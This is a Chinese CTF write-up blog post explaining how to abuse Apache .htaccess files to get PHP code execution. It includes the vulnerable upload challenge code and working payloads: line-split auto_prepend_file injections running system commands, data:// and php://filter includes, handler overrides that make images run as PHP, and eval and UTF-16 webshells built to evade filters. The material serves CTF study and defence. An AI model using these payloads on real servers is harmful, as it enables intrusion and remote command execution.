.htaccess的利用

[CTF].htaccess的使用技巧总结

例题讲解


1. 例题:.htaccess 包含自己进行命令执行 

掌握知识:
  1. 测试发现是阿帕奇服务器,就想到上传文件利用.htaccess配置文件执行jpg文件中的php代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php文件也不能写入。
  2. 去搜索了一下.htaccess文件的利用,发现在一个文章中写了.htaccess文件也可以在不存在php文件下进行解析执行php代码,利用的配置文件中的php_value auto_append_file参数
  1. 文章还贴心给出了file被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world,由于\n所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php代码再加上\\n\进行转义即可,即为?>\,闭合结果为?>\\nHello, world即可将后面的内容输出为一行

  2. \号绕过藏字符

    假设在写入文件同时后面默认加上file_put_contents($filename, $content . "\nhappy"),我们payload最后可以加上#\,#负责注释

    php_value include_path "/tmp"
    php_value zend.multibyte 1
    php_value zend.script_encoding "UTF-7"
    # \
    happy
    
  3. 所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的php代码,将结果输出出来了,#后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a进行代替,#%23代替,传参测试paylaod,运行两次成功执行代码

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

 payload:

php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess

?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess

2.例题:上传  

知识点:.htaccess可以加上文件包含: 

php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
或
php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
或
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.txt"

对于有过滤的情况我们前面说了可以使用\号
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=shell.txt"

  .htaccess配合一句马

<FilesMatch  "y4tacker">
SetHandler  application/x-httpd-php
//或ForceType application/x-httpd-php
</FilesMatch>
或
 AddType application/x-httpd-php .jpg
或
AddHandler php7-script .txt

本题过滤情况:

  • 不允许php文件上传,php2、php5、以及phtml也都被过滤了
  • 文件内容处过滤了<?、file

绕过方式:

针对以上的过滤,可以采取.users.ini和.htacess文件进行绕过,.user.ini使用成功的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件,由于该路径下不存在index.php文件,所以这题使用.htacess文件进行绕过

首先使用.htacess文件绕过文件名黑名单,构造文件内容如下:

AddType application/x-httpd-php .jpg//将上传的.jpg文件解析成php文件
php_value auto_append_fi\           //auto_append_file包含上传的文件
le "php://filter/convert.base64-decode/resource=1.jpg"//将上传的文件进行解码

shell.png  <?php eval($_POST[cmd])?>base64编码

 注意:

因为过滤了<? 所以.htaccess文件需要加上包含上传文件,用base64绕过

<?的绕过方式

php7之前,对于**?或者<?**的绕过可以采取srcipt的方式绕过, 但在php7之后这些标签都被移除了,因此可以采取编码的方式绕过,将我们要上传的一句话木马使用base64编码后进行上传

顺便看了一下源代码,进行研究思考..... 

//设置上传目录
define("UPLOAD_PATH", "../upload");

function deldot($s){
        for($i=strlen($s)-1;$i>0;$i--){
                $c=substr($s,$i,1);
                if($i == strlen($s)-1 and $c != '.'){
                        return $s;
                }

                if($c != '.'){
                        return substr($s,0,$i+1);
                }
        }
}

$is_upload=false;
$msg=null;

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext=array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name=trim($_FILES['pic']['name']);
        $file_name=deldot($file_name);//删除文件名末尾的点
        $file_ext=strrchr($file_name, '.');
        $file_ext=strtolower($file_ext); //转换为小写
        $file_ext=str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext=trim($file_ext); //收尾去空
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file=$_FILES['pic']['tmp_name'];
            $img_path=UPLOAD_PATH.'/'.$file_name;
            if(mb_strpos(file_get_contents($temp_file), '<?')!==False) die("<?");
            if(mb_strpos(file_get_contents($temp_file), 'file')!==False) die("内容不能有file");
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload=true;
                echo "上传成功"."<br>";
                echo $img_path;
            }else{
                echo '上传出错!';
            }
        }else{
            echo '此文件不允许上传!';
        }
    }else{
        echo UPLOAD_PATH . '文件夹不存在,请重新上传!';
        mkdir(UPLOAD_PATH,775,true);
    }
}
?>

另解:对<?的绕过

经过上传测试发现,这题过滤掉了<?,这样正常的一句话木马就没法上传,这里可以用utf-16编码绕过。因为utf-16占utf-8的两倍长度,上传时默认检测为utf-8,从而就能绕过检测成功上传。

关于UTF-16的WebShell的制作

制作UTF-16的WebShell可以用编码器改变编码之后用WinHex写入到文件里,不要用文本编辑器,因为它可能会将空字节(0x00)转成空格(0x20)

1.png:

< ? p h p   s y s t e m ( $ _ G E T [ ' c m d ' ] ) ;   d i e ( ) ;   ? >

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

El.十一

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值